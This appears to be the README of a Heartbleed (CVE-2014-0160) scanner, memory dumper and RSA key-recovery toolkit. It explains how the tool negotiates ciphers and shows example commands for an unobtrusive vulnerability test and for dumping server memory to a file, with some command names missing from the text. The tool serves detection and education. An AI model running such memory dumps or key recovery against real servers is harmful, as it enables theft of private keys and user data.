OpenSSL Heartbleed (CVE-2014-0160) vulnerability scanner, data miner and RSA key-restore tools.

Author: Einar Otto Stangvik / @einaros /

Since the cat is long since out of the bag, and others have begun publishing their tools, I'm putting mine out there too. Hopefully this amplifies the pressure on those that still haven't patched or upgraded their severs. Others may find the tools of educational value.

Unlike many other Heartbleed PoCs, this tool will supply most possible ciphers in the initial ClientHello packet. Whatever cipher the server picks will be used for all subsequent ClientHello packets in a dump session. That should ensure proper vulnerability detection, as well as decrease overhead once a cipher has been found.

Use these tools as you please, but do us all a favor: Solve problems instead of creating them.

Inspired by the work and publications of:

  • Jared Stafford
  • Jeremi M Gosney
  • Ben M Murphy
  • ... and many others.


Here seen recovering one of the RSA primes of the CloudFlare challenge 34 times in one minute. That equals getting the full private key 34 times in one minute. img

# Test vulnerability using unobtrusive mode
# This will request N bytes, but supply N-1 itself, so that the server will
# only actually bleed a single byte if vulnerable. Suggested N is 16360 in this
# case, since that will result in a single TLS record: 
# 3 + 2 + 1 + 2 + 16360 + 16 bytes = 0xFFFF.

$ ./ -u -n 16360 -p 443 is vulnerable

# Dupm data from CloudFlare's old challenge server

$ ./ -p 443 -n 0xF000 -l 100 -t 50 -d -o cloudflare-dump.bin
